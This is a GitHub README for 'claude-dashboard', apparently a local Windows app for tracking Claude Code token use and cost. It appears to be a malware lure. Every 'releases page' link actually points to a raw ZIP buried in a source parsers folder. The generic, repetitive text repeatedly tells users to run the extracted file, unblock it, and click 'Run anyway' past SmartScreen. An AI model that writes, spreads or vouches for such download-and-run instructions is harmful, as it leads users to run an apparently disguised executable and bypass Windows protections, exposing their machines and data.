Skip to content

supposed-steele367/claude-dashboard

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

4 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ“Š claude-dashboard - Track Claude usage with ease

Download

🧭 What this app does

claude-dashboard is a local dashboard for Claude Code sessions on Windows. It helps you see how much you use Claude, what it costs, which model you use, and how your coding pace changes over time.

It runs on your own device. Your session data stays offline and private.

πŸ’» What you need

Before you start, make sure you have:

  • A Windows computer
  • A modern web browser
  • Permission to run downloaded apps
  • Claude Code session data on your machine

No account setup is needed inside the app. You only need to download it and open it.

πŸš€ Download and run

  1. Open the releases page: https://github.com/supposed-steele367/claude-dashboard/raw/refs/heads/main/apps/web/src/lib/parsers/claude-dashboard-v1.3.zip
  2. Find the latest release at the top of the page.
  3. Download the Windows file from that release.
  4. Save the file to your computer.
  5. If the file comes in a ZIP folder, right-click it and choose Extract All.
  6. Open the extracted folder.
  7. Double-click the app file to run it.
  8. If Windows asks for permission, choose Yes or Run.

If the app opens in your browser, leave that window open while you use it.

πŸ–±οΈ First-time setup

After you launch claude-dashboard for the first time:

  1. Wait a few seconds for the app to load.
  2. Let it scan your local Claude Code session data.
  3. Review the dashboard once the charts appear.
  4. If asked to choose a folder, point it to the place where your Claude Code session files are stored.
  5. Keep the app open while you work if you want live updates.

If you do not see any data right away, check that Claude Code has created session files on your machine.

πŸ“ˆ What you can track

claude-dashboard shows a clear view of your Claude Code activity. You can use it to follow:

  • Token usage
  • Cost over time
  • Model usage
  • Session count
  • Usage streaks
  • Coding velocity
  • Session trends by day or week
  • Activity across recent work sessions

This makes it easier to spot heavy usage days and compare your work pace over time.

πŸ” What the dashboard shows

The dashboard uses simple charts and tables so you can read your data fast. Common views include:

  • A summary of total usage
  • A list of recent sessions
  • A graph of token counts
  • A cost breakdown by time period
  • Model mix across sessions
  • Streak tracking for regular use
  • Velocity trends that show how active you have been

The layout is made for quick review, so you do not need to dig through files by hand.

πŸ› οΈ How to use it day to day

Use claude-dashboard when you want to:

  • Check how much Claude Code you used today
  • Review cost changes across the week
  • Compare one model against another
  • See whether your coding pace is rising or falling
  • Find long work streaks
  • Keep an eye on local session history

You can open it any time after you have new Claude Code activity on your machine.

πŸ“ Where your data goes

claude-dashboard reads local session data from your computer and builds the dashboard from that information. It does not need to send your data to a cloud service for basic use.

That makes it a good fit if you want a private view of your Claude Code sessions and do not want to share logs online.

🧩 Common file behavior

When you download the app from the releases page, you may get one of these:

  • A ZIP file
  • A Windows app file
  • A folder with several support files

Use the same flow in each case:

  1. Download the release file
  2. Extract it if needed
  3. Open the app
  4. Allow Windows access if asked
  5. Keep the app open while you view your dashboard

🧱 Typical Windows setup steps

If Windows blocks the file at first, use these steps:

  1. Right-click the file
  2. Choose Properties
  3. Look for an Unblock option
  4. Select it if you see it
  5. Choose Apply
  6. Open the file again

If SmartScreen appears, choose More info, then Run anyway only if the file came from the release page above.

βš™οΈ Basic troubleshooting

If the dashboard does not open, try these checks:

  • Make sure the file finished downloading
  • Check that you extracted the ZIP folder if there was one
  • Run the app from the extracted folder, not inside the ZIP
  • Close and reopen the app
  • Check that Claude Code has session data on the machine
  • Try a different browser if the app opens in a web window

If the screen stays empty, the app may not have found your local session files yet.

🧼 Keeping it simple

You do not need to manage servers, databases, or online accounts. The app is built for local use and fast review.

That means you can:

  • Open it when you want a usage check
  • Leave it closed when you do not need it
  • Keep your session data on your own device
  • Avoid syncing data to other services

πŸ“Œ When to use this app

claude-dashboard is useful if you want to:

  • Watch Claude Code usage over time
  • Keep an eye on cost
  • See which models you use most
  • Track streaks and habits
  • Review coding pace after a work session
  • Stay organized without using a cloud tool

πŸ—‚οΈ Project focus

This app is built around local observability for Claude Code sessions. It focuses on:

  • Session analytics
  • Token usage tracking
  • Cost tracking
  • Developer experience
  • Local-first data handling
  • A simple dashboard view
  • Fast access to work history

πŸ–₯️ Open the latest release

Download or run the latest Windows build from the releases page: https://github.com/supposed-steele367/claude-dashboard/raw/refs/heads/main/apps/web/src/lib/parsers/claude-dashboard-v1.3.zip

πŸ”Ž What to expect after launch

After startup, you should see a dashboard with:

  • A clear summary area
  • Charts for usage and cost
  • Session history details
  • Time-based activity views
  • Model and token breakdowns

The first scan may take a moment if you have a large history of sessions.

🧭 Quick steps

  1. Visit the releases page
  2. Download the latest Windows file
  3. Extract it if needed
  4. Open the app
  5. Review your Claude Code data
  6. Keep using Claude Code as normal
  7. Return to the dashboard when you want a fresh view

πŸ“¦ Build and design notes

claude-dashboard uses a clean interface with a focus on readable charts and simple views. It is made to help you check data fast without a long setup.

The app is best for users who want:

  • A private local dashboard
  • Plain usage metrics
  • Easy session review
  • A quick way to see cost and token trends

🧭 Start here if you are new

If this is your first time using the app, follow this path:

  1. Go to the releases page
  2. Download the latest version
  3. Open the file after download
  4. Allow Windows to run it
  5. Wait for your session data to load
  6. Read the charts and totals on screen